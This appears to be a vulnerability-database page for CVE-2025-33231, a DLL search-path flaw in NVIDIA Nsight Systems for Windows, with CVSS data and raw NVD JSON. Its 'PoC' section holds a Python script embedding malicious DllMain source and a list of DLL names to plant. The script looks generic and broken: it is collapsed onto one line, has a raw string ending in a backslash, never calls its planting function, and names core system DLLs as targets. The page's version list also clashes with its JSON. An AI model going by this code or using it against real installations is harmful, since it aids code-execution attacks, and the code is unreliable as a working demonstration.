Security Vulnerability Report
中文
CVE-2025-33231 CVSS 6.7 MEDIUM

CVE-2025-33231

Published: 2026-01-20 18:16:03
Last Modified: 2026-02-02 16:07:38

Description

NVIDIA Nsight Systems for Windows contains a vulnerability in the application’s DLL loading mechanism where an attacker could cause an uncontrolled search path element by exploiting insecure DLL search paths. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, denial of service and information disclosure.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:cuda_toolkit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA Nsight Systems 2024.1 < 2024.4.1
NVIDIA Nsight Systems 2024.2 < 2024.4.1
NVIDIA Nsight Systems 2024.3 < 2024.4.1
NVIDIA Nsight Systems 2024.4 < 2024.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33231 DLL Hijacking PoC # Target: NVIDIA Nsight Systems for Windows # Vulnerability: Insecure DLL Search Path import os import ctypes import sys def create_malicious_dll(): """ Generate malicious DLL that will be planted in the search path. This PoC demonstrates the DLL hijacking vulnerability. """ # Malicious DLL source code (to be compiled as DLL) dll_source = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Attacker can execute arbitrary code here // This PoC writes to a log file FILE *fp = fopen("C:\\\\temp\\\\cve_2025_33231_poc.log", "a"); if (fp) { fprintf(fp, "[!] DLL Hijacking Successful - CVE-2025-33231\\n"); fprintf(fp, "[!] Code execution achieved via malicious DLL\\n"); fprintf(fp, "[!] Process: %s\\n", GetCommandLine()); fclose(fp); } // Execute malicious payload here // system("calc.exe"); // Example: spawn calculator } return TRUE; } ''' return dll_source def get_vulnerable_dll_names(): """ Common DLL names that NVIDIA Nsight Systems may load unsafely. These are typical candidates for DLL hijacking attacks. """ return [ "nvcuda.dll", "nvapi64.dll", "nvsysinfo.dll", "Qt5Core.dll", "Qt5Gui.dll", "msvcrt.dll", "USER32.dll" ] def plant_dll(dll_name, target_path): """ Plant malicious DLL in target directory. In real attack, this requires write access to the DLL search path. """ malicious_dll_path = os.path.join(target_path, dll_name) print(f"[*] Planting malicious DLL: {malicious_dll_path}") print("[*] When NVIDIA Nsight Systems loads, the malicious DLL will execute") return True def main(): print("="*60) print("CVE-2025-33231 DLL Hijacking PoC") print("Target: NVIDIA Nsight Systems for Windows") print("="*60) # Step 1: Identify DLL search path vulnerability print("\n[Step 1] Identifying vulnerable DLL loading paths") # Step 2: Generate malicious DLL print("\n[Step 2] Generating malicious DLL payload") dll_source = create_malicious_dll() print("[+] Malicious DLL code generated") # Step 3: Plant DLL in search path print("\n[Step 3] Planting DLL in vulnerable search path") dll_names = get_vulnerable_dll_names() # Typical NVIDIA Nsight Systems installation path nsight_path = r"C:\Program Files\NVIDIA Corporation\Nsight Systems 2024.1\" for dll in dll_names: print(f"[*] Checking {dll}...") print("\n[!] PoC demonstration complete") print("[!] In a real attack, the malicious DLL would be executed") print("[!] when the victim launches NVIDIA Nsight Systems") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33231", "sourceIdentifier": "[email protected]", "published": "2026-01-20T18:16:02.790", "lastModified": "2026-02-02T16:07:37.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Nsight Systems for Windows contains a vulnerability in the application’s DLL loading mechanism where an attacker could cause an uncontrolled search path element by exploiting insecure DLL search paths. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, denial of service and information disclosure."}, {"lang": "es", "value": "NVIDIA Nsight Systems para Windows contiene una vulnerabilidad en el mecanismo de carga de DLL de la aplicación donde un atacante podría causar un elemento de ruta de búsqueda incontrolado al explotar rutas de búsqueda de DLL inseguras. Un exploit exitoso de esta vulnerabilidad podría conducir a la ejecución de código, escalada de privilegios, manipulación de datos, denegación de servicio y revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:cuda_toolkit:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.1.0", "matchCriteriaId": "6D53794E-E526-471B-94F5-F9BCC26C1BC1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33231", "source": "[email protected]", "tags": ["US Government Resource", "VDB Entry"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5755", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33231", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}